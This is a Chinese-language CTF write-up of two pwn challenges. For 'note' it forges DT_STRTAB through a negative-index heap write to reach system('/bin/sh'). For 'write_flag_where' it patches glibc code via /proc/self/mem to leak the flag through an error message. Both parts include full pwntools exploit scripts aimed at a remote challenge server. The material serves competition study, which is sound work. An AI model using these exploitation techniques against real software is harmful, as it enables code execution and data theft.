note
漏洞分析
未开启PIE,Partial RELRO,菜单堆功能完整
可以看出所有功能的idx是有符号整型,没有判断负值
也就是说对于new功能而言,每一次新建会在0x4040A0 + idx * 0x10处赋值分配的chunk_size,以及在0x4040A0 + idx * 0x10 + 0x8处分配chunk_ptr
那么很常见的思路就是用分配的chunk地址覆盖掉bss段上的stdin,stdout,stderr系列指针,将其指向伪造的IO_FILE结构体。但是很不幸,由于这些指针所在地址结尾为0,所以只能被chunk_size覆盖
既然如此,考虑到Partial RELRO未开启,可以联想到DT_STRTAB的伪造,而其所在的LOAD段同样和0x4040A0偏移固定并且可读写。
那么最终思路就是伪造整个DT_STRTAB,将puts字符串改为system,提前分配一个内容为/bin/sh的chunk,调用show功能后即可getshell
EXP
from pwn import*
r=remote("47.103.219.45",31449)
#r=process('./pwn')
context.log_level='debug'
def new(idx,size,content):
r.sendline(str(0x114))
r.sendline(str(idx))
r.sendline(str(size))
r.send(content)
def delete(idx):
r.sendline(str(0x1919))
r.sendline(str(idx))
def show(idx):
r.sendline(str(0x514))
r.sendline(str(idx))
def edit(idx,content):
r.sendline(str(0x810))
r.sendline(str(idx))
r.send(content)
fake_dt_strtab=""
fake_dt_strtab+="\x00"
fake_dt_strtab+="stdin\x00"
fake_dt_strtab+="system\x00"
fake_dt_strtab+="__stack_chk_fail\x00"
fake_dt_strtab+="free\x00"
fake_dt_strtab+="setbuf\x00"
fake_dt_strtab+="read\x00"
fake_dt_strtab+="stdout\x00"
fake_dt_strtab+="atoi\x00"
fake_dt_strtab+="malloc\x00"
fake_dt_strtab+="__libc_start_main\x00"
fake_dt_strtab+="stderr\x00"
fake_dt_strtab+="libc.so.6\x00"
fake_dt_strtab+="GLIBC_2.4\x00"
fake_dt_strtab+="GLIBC_2.34\x00"
fake_dt_strtab+="GLIBC_2.2.5\x00"
fake_dt_strtab+="__gmon_start__\x00"
fake_dt_strtab+="./libc.so.6\x00"
fake_dt_strtab+="\n"
new(0,0x100,"/bin/sh\n")
new(-0x59F,0x100,fake_dt_strtab)
#gdb.attach(r)
show(0)
r.interactive()
write_flag_where
漏洞分析
很微妙的一题。flag固定为d3ctf{[0-9a-f]},长度已知,直接提供了libc地址
功能为将flag任意偏移处的某个字符通过/proc/self/mem写进任意libc代码段中,不受段权限影响。
一般来看,常规思路就是将flag写进libc中的某个字符串中,通过某种方式(例如__libc_fatal)或者其他流程将其输出出来。但是很显然,libc中的字符串并不处在libc代码段上,但是输出流程确实可以进一步探索的。
程序可以正常exit退出,而exit流程中有大量的函数调用以及状态检测。而对于调试过新版本FSOP的流程的人来说,对于_IO_vtable_check函数抛出的”Fatal error: glibc detected an invalid stdio handle”错误一定有深刻的印象。新版本的glibc添加了对于IO_vtable函数的检测,这可以成为利用的目标。
但是常规exit流程肯定无法触发这个报错,因此需要对_IO_flush_all函数做一些处理。
如上图所示,对于FSOP而言,需要_IO_write_base>_IO_write_ptr才能触发vtable函数的执行,因此可以将_IO_flush_all+436处的+0x20偏移修改掉,让其指向一个其他能满足条件的地址。因为只可以将其修改为flag中的某个可见字符,因此需要一定的爆破尝试。
与此同时,由于默认的跳转函数满足vtable检测,因此_IO_flush_all+193处的偏移0xd8也应该被修改,让其指向一个非法的地址。不过好在由于vtable检测很严格,几乎任何字符的修改都可以让其落入_IO_vtable_check中。
幸运的是,远程flag的第一个字符为’e’,将上述二者全都修改为0x65全都满足条件。
最终__libc_fatal函数被调用来打印错误信息,而字符串地址是通过RIP偏移传递的,因此可以修改_IO_vtable_check+125处的0x13951c末尾的0x1c,最终看到一个有偏移的报错字符串,根据输出字符串和原字符串的偏移来确定0x1c被修改为了什么字符,计算得出flag中字符串的值。
EXP
from pwn import*
std_err_msg="Fatal error: glibc detected an invalid stdio handle\n\x00\x00\x00The futex facility returned an unexpected error code.\n"
flag="d3ctf{"
for i in range(41):
#r=remote("127.0.0.1",9999)
r=remote("47.103.219.45",32653)
#r=process('./vuln')
context.log_level='debug'
libc_base=int(r.recvuntil("-",drop=True),16)
success("libc_base: "+hex(libc_base))
r.recvline()
r.recvline()
r.sendline(str(libc_base+0x6b717)+" "+str(6))
r.sendline(str(libc_base+0x6b624)+" "+str(6))
r.sendline(str(libc_base+0x66a20)+" "+str(6+i))
if (i==-1):
#gdb.attach(r,"b *"+str(libc_base)+"+0x6b710")
#gdb.attach(r,"b _IO_vtable_check")
pause()
r.sendline("0 0")
rcv_err_msg=r.recvline()
offset=std_err_msg.find(rcv_err_msg)+0x1c
if (offset<=0x39 and offset>=0x30): offset=offset-1
flag+=chr(offset+1)
r.close()
print flag